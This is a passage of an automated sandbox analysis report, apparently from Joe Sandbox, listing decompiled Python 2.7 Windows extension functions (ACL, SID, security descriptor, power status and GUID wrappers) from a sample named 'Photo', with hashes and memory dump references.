Part of subcall function 1E7A3140: InitializeAcl.ADVAPI32(?,?,?), ref: 1E7A3175

Strings

|ii:ACL, xrefs: 1E7A31F0
@, xrefs: 1E7A31F6

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_InitializeParseTuple
String ID: @$|ii:ACL
API String ID: 1991639834-2672190651
Opcode ID: 7edf293a9c74c413279b1d7ce2a0fb01a909c7666d8738b4d448500780494bab
Instruction ID: 74a87209ab8cb403452c0990788f27e9a289fdb2b4c98989480c22d48669a341
Opcode Fuzzy Hash: 7edf293a9c74c413279b1d7ce2a0fb01a909c7666d8738b4d448500780494bab
Instruction Fuzzy Hash: 0BF089B5504241A7F704DF54DC49B5BB2E5AFD4604F440B1CE64982250F774D918C6A3

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A15B0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,:Initialize), ref: 1E7A15C2
InitializeAcl.ADVAPI32(?,?), ref: 1E7A15DB

Strings

InitializeAcl, xrefs: 1E7A15EA
:Initialize, xrefs: 1E7A15BC

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_InitializeParseTuple
String ID: :Initialize$InitializeAcl
API String ID: 1991639834-2627007299
Opcode ID: 371fa6cd209f1c126be1f7f0d88b158557fbecb33cdc87e4b8c1ac775306d557
Instruction ID: c62c1774421f629ccd9a69c2dda4d7c54b139183f5a64b65de638822c10d847d
Opcode Fuzzy Hash: 371fa6cd209f1c126be1f7f0d88b158557fbecb33cdc87e4b8c1ac775306d557
Instruction Fuzzy Hash: 5BF01275504221EFF200DB19F8849D777E8ABDD655B0C864DFB8583225E730D881DB51

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A9CC0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

Py_MakePendingCalls.PYTHON27 ref: 1E7A9CC7
PyErr_Clear.PYTHON27 ref: 1E7A9CF2
Py_MakePendingCalls.PYTHON27 ref: 1E7A9CF4

Strings

Unhandled exception detected before entering Python., xrefs: 1E7A9CE2

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: CallsMakePending$ClearErr_
String ID: Unhandled exception detected before entering Python.
API String ID: 4110921123-920423093
Opcode ID: f0c071681995f902383e4545f838b450c1dbfc50d0e84d5c5c968bad517cb020
Instruction ID: d4cb54c3fbb9ec965c1f0f7f1050b815d5788e54fa3d65024c3b61c7519daee6
Opcode Fuzzy Hash: f0c071681995f902383e4545f838b450c1dbfc50d0e84d5c5c968bad517cb020
Instruction Fuzzy Hash: 5DE0EC7360062E97F60066BABCD1A8A77DDADCC19835E4122E704D3220EA21E8108F75

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AA5D0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(?,RECT must be a tuple of 4 ints (left, top, right, bottom)), ref: 1E7AA5EE
PyArg_ParseTuple.PYTHON27(?,llll;RECT must be a tuple of 4 ints (left, top, right, bottom),?,?,?,?), ref: 1E7AA611

Strings

llll;RECT must be a tuple of 4 ints (left, top, right, bottom), xrefs: 1E7AA60B
RECT must be a tuple of 4 ints (left, top, right, bottom), xrefs: 1E7AA5E8

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_Err_ParseStringTuple
String ID: RECT must be a tuple of 4 ints (left, top, right, bottom)$llll;RECT must be a tuple of 4 ints (left, top, right, bottom)
API String ID: 385655187-1420951713
Opcode ID: deb873378a669a06904be79b0b6fc6f96cd7636d8d5b6a77b56a87ba49847c1a
Instruction ID: 71e0d93671387db44d78b4e52f7237645d07242e30c5255af73fd4a01b7a4810
Opcode Fuzzy Hash: deb873378a669a06904be79b0b6fc6f96cd7636d8d5b6a77b56a87ba49847c1a
Instruction Fuzzy Hash: F5F039B9110201EFE300DB24CD88D9677F9EBC8708F48CA88F6098B226D231E945DB91

Uniqueness

Uniqueness Score: -1.00%

Function 02765940 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E02765940() {
				struct _SYSTEM_POWER_STATUS _v12;
				int _t6;

				_t6 = GetSystemPowerStatus( &_v12);
				if(_t6 != 0) {
					return  *0x27692b4("iiiI", _v12.ACLineStatus & 0x000000ff, _v12.BatteryFlag & 0x000000ff, _v12.BatteryLifePercent & 0x000000ff, _v12.BatteryLifeTime);
				} else {
					return  *0x27692b8(_t6);
				}
			}

0x02765947
0x0276594f
0x02765987
0x02765951
0x0276595e
0x0276595e

APIs

GetSystemPowerStatus.KERNEL32 ref: 02765947
PyErr_SetFromWindowsErr.PYTHON27(00000000), ref: 02765952
Py_BuildValue.PYTHON27(iiiI,?,?,?,?), ref: 0276597B

Strings

iiiI, xrefs: 02765976

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: BuildErr_FromPowerStatusSystemValueWindows
String ID: iiiI
API String ID: 2045901803-2605956832
Opcode ID: 92c27f3772faeadc8886dc5504e23b68404f87256621aa0b5c71ad2b31682c28
Instruction ID: 653534786b990c377eeb8eb698692b94d6f84162b76b814285a28220c861c547
Opcode Fuzzy Hash: 92c27f3772faeadc8886dc5504e23b68404f87256621aa0b5c71ad2b31682c28
Instruction Fuzzy Hash: 88E012E0C08341ABE7445765681DA3B7BE86985505F848858FE8AC1145E139C638D663

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AA340 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(?,POINT must be a tuple of 2 ints (x,y)), ref: 1E7AA35E
PyArg_ParseTuple.PYTHON27(?,ll;POINT must be a tuple of 2 ints (x,y),?,?), ref: 1E7AA379

Strings

ll;POINT must be a tuple of 2 ints (x,y), xrefs: 1E7AA373
POINT must be a tuple of 2 ints (x,y), xrefs: 1E7AA358

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_Err_ParseStringTuple
String ID: POINT must be a tuple of 2 ints (x,y)$ll;POINT must be a tuple of 2 ints (x,y)
API String ID: 385655187-334919720
Opcode ID: 155658ddf636710168af306f84a09a79f05ae7f21781ae87cb7844963b91f125
Instruction ID: de04e064e9e169f74d6134cd9905d11eb21f7dc762df9965750b020c373bcc8a
Opcode Fuzzy Hash: 155658ddf636710168af306f84a09a79f05ae7f21781ae87cb7844963b91f125
Instruction Fuzzy Hash: D5E01274610214EFE304DB24D988E6A77E9EBC8709F98CA88FA0886221D631E815AB51

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AA190 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,:CreateGuid), ref: 1E7AA19D
76D1F260.OLE32 ref: 1E7AA1B2
?PyWinObject_FromIID@@YAPAU_object@@ABU_GUID@@@Z.PYWINTYPES27 ref: 1E7AA1BC

Strings

:CreateGuid, xrefs: 1E7AA197

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_D@@@F260FromObject_ParseTupleU_object@@
String ID: :CreateGuid
API String ID: 1710956756-3559396464
Opcode ID: 75984b2a1a55f003a82e977fbbc8c0bf9471d43b977b979faa1fee228480cefb
Instruction ID: b536029c95e65dd2c4863dede9b7c9c384e5a91298c47d83d09b0ff4a7a35c2a
Opcode Fuzzy Hash: 75984b2a1a55f003a82e977fbbc8c0bf9471d43b977b979faa1fee228480cefb
Instruction Fuzzy Hash: CED02BF6D00111B7F7007778DC4A95936A8FAD4248FCC4E4CF95980121F736E228C683

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A72C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,:GetSubAuthorityCount), ref: 1E7A72CA
GetSidSubAuthorityCount.ADVAPI32(?), ref: 1E7A72E0
PyInt_FromLong.PYTHON27 ref: 1E7A72EA

Strings

:GetSubAuthorityCount, xrefs: 1E7A72C4

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_AuthorityCountFromInt_LongParseTuple
String ID: :GetSubAuthorityCount
API String ID: 1273865820-2020981275
Opcode ID: beed286a0919f5ec57719747f6022a3b0ad21ffc1dfaa9c56b0a949f77f9eb49
Instruction ID: 6bea6145a493d680a90d0f6f4b203e4852a9afd63872dce3f52fcc745f203711
Opcode Fuzzy Hash: beed286a0919f5ec57719747f6022a3b0ad21ffc1dfaa9c56b0a949f77f9eb49
Instruction Fuzzy Hash: F5D05EB8904214EBE6009B74DC8895B7BFDBFDD30EB8C4958FA4AC2211E639E814DF15

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A1610 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,:IsValid), ref: 1E7A161A
IsValidAcl.ADVAPI32(?), ref: 1E7A1630
PyInt_FromLong.PYTHON27(00000000), ref: 1E7A1637

Strings

:IsValid, xrefs: 1E7A1614

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_FromInt_LongParseTupleValid
String ID: :IsValid
API String ID: 2516359903-2800628479
Opcode ID: 44658e7caec4482fd3719adcdf574b4ea9f28ca412f674b506a3c6864be0a26a
Instruction ID: 3f9578271bd3a94630b89274b82762446c33be49e7591507272a9c73e2b3fe81
Opcode Fuzzy Hash: 44658e7caec4482fd3719adcdf574b4ea9f28ca412f674b506a3c6864be0a26a
Instruction Fuzzy Hash: EBD09EB9900215ABEA049BA4DD8C84A77ECBFDC34AFCC4958FB09C3211E635E815CB16

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A7280 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,:GetLength), ref: 1E7A728A
GetLengthSid.ADVAPI32(?), ref: 1E7A72A0
PyInt_FromLong.PYTHON27(00000000), ref: 1E7A72A7

Strings

:GetLength, xrefs: 1E7A7284

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_FromInt_LengthLongParseTuple
String ID: :GetLength
API String ID: 3712002366-295138441
Opcode ID: 84a24790b93c7c4a73ff40985447289244b7c1ec6bdf31e7b99395a487db834e
Instruction ID: 9501a6b803b8185f35ef0a89396f7e04b28ec9daf78be9ab5e28fc5891646c17
Opcode Fuzzy Hash: 84a24790b93c7c4a73ff40985447289244b7c1ec6bdf31e7b99395a487db834e
Instruction Fuzzy Hash: 98D09E75900215EBEA009BB4DD8C84A77EDBFDC30AF8C4958F60AC2211E635D815DB16

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A6CE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,:IsValid), ref: 1E7A6CEA
IsValidSecurityDescriptor.ADVAPI32(?), ref: 1E7A6D00
PyInt_FromLong.PYTHON27(00000000), ref: 1E7A6D07

Strings

:IsValid, xrefs: 1E7A6CE4

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_DescriptorFromInt_LongParseSecurityTupleValid
String ID: :IsValid
API String ID: 611389677-2800628479
Opcode ID: cb4c301f7373676c4dc75cf954139f22eee3fe9d3fb9fc9ff4779f8b301c4c74
Instruction ID: 29e1a6c25f4eb623ad40aa21812ff4296b3927412491083fea7c1125f354af32
Opcode Fuzzy Hash: cb4c301f7373676c4dc75cf954139f22eee3fe9d3fb9fc9ff4779f8b301c4c74
Instruction Fuzzy Hash: A3D05E79900204EBE6009BA0DC8C80B3BACBFDC309B8C891CFA0982211E635E815CB11

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A6D20 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,:GetLength), ref: 1E7A6D2A
GetSecurityDescriptorLength.ADVAPI32(?), ref: 1E7A6D40
PyInt_FromLong.PYTHON27(00000000), ref: 1E7A6D47

Strings

:GetLength, xrefs: 1E7A6D24

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_DescriptorFromInt_LengthLongParseSecurityTuple
String ID: :GetLength
API String ID: 2131620719-295138441
Opcode ID: 3ef294804a5e8b845e8a685a321d11cf6e294a4268de28b1fb38760265c01efd
Instruction ID: f6768a3837cc35b51806b45b333385c6bbb7f0c355774fc769e2d36e2489be40
Opcode Fuzzy Hash: 3ef294804a5e8b845e8a685a321d11cf6e294a4268de28b1fb38760265c01efd
Instruction Fuzzy Hash: 99D05EB8900204EBEA009BB0DC8C80B37ACBFDC30ABC88918F60982210E639D815CB15

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A71D0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,:IsValid), ref: 1E7A71DA
IsValidSid.ADVAPI32(?), ref: 1E7A71F0
PyBool_FromLong.PYTHON27(00000000), ref: 1E7A71F7

Strings

:IsValid, xrefs: 1E7A71D4

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_Bool_FromLongParseTupleValid
String ID: :IsValid
API String ID: 2573489340-2800628479
Opcode ID: 37a7c79fcca67e17f28ec3bc1c981b490c3eb67a2a63c6ed941581db47bc1e71
Instruction ID: 6472d82cbf0dacd2b8f8cca8d49615c3881991c667ae612a455b55f748157f8a
Opcode Fuzzy Hash: 37a7c79fcca67e17f28ec3bc1c981b490c3eb67a2a63c6ed941581db47bc1e71
Instruction Fuzzy Hash: BFD05E74A00204EBEB00ABA4DC8C80B7BECAFC8309B884818F60AC3211D635D915DB16

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A9990 Relevance: 6.1, APIs: 4, Instructions: 126COMMON

Download Yara Rule

APIs

?PyWinObject_AsWCHARArray@@YAHPAU_object@@PAPAPA_WPAKH@Z.PYWINTYPES27(?,?,00000000,?), ref: 1E7A99C9
PyErr_NoMemory.PYTHON27 ref: 1E7A9A3A
PyMem_Free.PYTHON27 ref: 1E7A9AC5
6C423B4E.MSVCR90(?), ref: 1E7A9AD0

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Array@@C423Err_FreeMem_MemoryObject_U_object@@
String ID:
API String ID: 723363135-0
Opcode ID: 544c814765cc9c805f7d97cd72211d02afd64d184149ab0ab396259da161b5eb
Instruction ID: e675ec3cd445089cd1581056fa3a45adce5b08394d79935a84ccc819ca9daa00
Opcode Fuzzy Hash: 544c814765cc9c805f7d97cd72211d02afd64d184149ab0ab396259da161b5eb
Instruction Fuzzy Hash: EF41B039A043268BE710DF58E84165BB3E6FFC8214F0D4B19EE8997310E735EA15CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A9860 Relevance: 6.1, APIs: 4, Instructions: 117COMMON

Download Yara Rule

APIs

?PyWinObject_AsCharArray@@YAHPAU_object@@PAPAPADPAKH@Z.PYWINTYPES27(?,?,00000000,?), ref: 1E7A9898
PyErr_NoMemory.PYTHON27 ref: 1E7A98FD
PyMem_Free.PYTHON27 ref: 1E7A996A
6C423B4E.MSVCR90(?), ref: 1E7A9975

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Array@@C423CharErr_FreeMem_MemoryObject_U_object@@
String ID:
API String ID: 1801591915-0
Opcode ID: 21f876d9bf40596094c1a1d59b80165e952b58c2402fc8390370b5a9d234fec0
Instruction ID: 4fbdfe691c836c31e449419b391f82f06291ce6f3d4b10a1aaebf924a5470c5a
Opcode Fuzzy Hash: 21f876d9bf40596094c1a1d59b80165e952b58c2402fc8390370b5a9d234fec0
Instruction Fuzzy Hash: 5E41B1795043469BE701CF18E890657B7E6FFC9204F0D4718EAC987211E736E519CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AB410 Relevance: 6.1, APIs: 4, Instructions: 51threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(0000001E), ref: 1E7AB418
PyThreadState_Delete.PYTHON27 ref: 1E7AB42E
TlsSetValue.KERNEL32(0000001E,00000000), ref: 1E7AB43F
LocalFree.KERNEL32(00000000), ref: 1E7AB446

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Value$DeleteFreeLocalState_Thread
String ID:
API String ID: 3706641815-0
Opcode ID: 415a2254691268ec2b06917da2f3f2a6eac46f7ff0273582bcdc132a2fb2bdeb
Instruction ID: 638d4c1509f15d39aa636b1b1560b993415ec605562db5f92fce1d33357dd9b2
Opcode Fuzzy Hash: 415a2254691268ec2b06917da2f3f2a6eac46f7ff0273582bcdc132a2fb2bdeb
Instruction Fuzzy Hash: B0112A75500220DFE302FF14D8C8C6637FAFBCD2523294A58E69687A10E235D883CF60

Uniqueness

Uniqueness Score: -1.00%

Function 02762720 Relevance: 6.0, APIs: 4, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E02762720(intOrPtr _a8) {
				char _v4;
				void* _t4;
				void* _t5;
				void* _t7;
				void* _t16;
				void* _t20;
				void* _t24;

				_t4 =  *0x2769308(_a8, "l", _t24);
				if(_t4 != 0) {
					_t5 = E027660C0(_v4, 0x440);
					_t20 = _t5;
					if(_t20 != 0) {
						_push(_t20);
						_push(_v4);
						_t7 = E02766EF0();
						_t16 = _t7;
						if(_t16 != 0) {
							CloseHandle(_t20);
							return _t16;
						} else {
							 *0x27692b8(_t7);
							CloseHandle(_t20);
							return 0;
						}
					} else {
						return _t5;
					}
				} else {
					return _t4;
				}
			}

0x0276272f
0x0276273a
0x02762748
0x0276274d
0x02762754
0x0276275e
0x0276275f
0x02762760
0x02762765
0x0276276c
0x02762786
0x02762791
0x0276276e
0x0276276f
0x02762779
0x02762784
0x02762784
0x02762756
0x02762758
0x02762758
0x0276273d
0x0276273d
0x0276273d

APIs

PyArg_ParseTuple.PYTHON27(?,0276B49C), ref: 0276272F

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
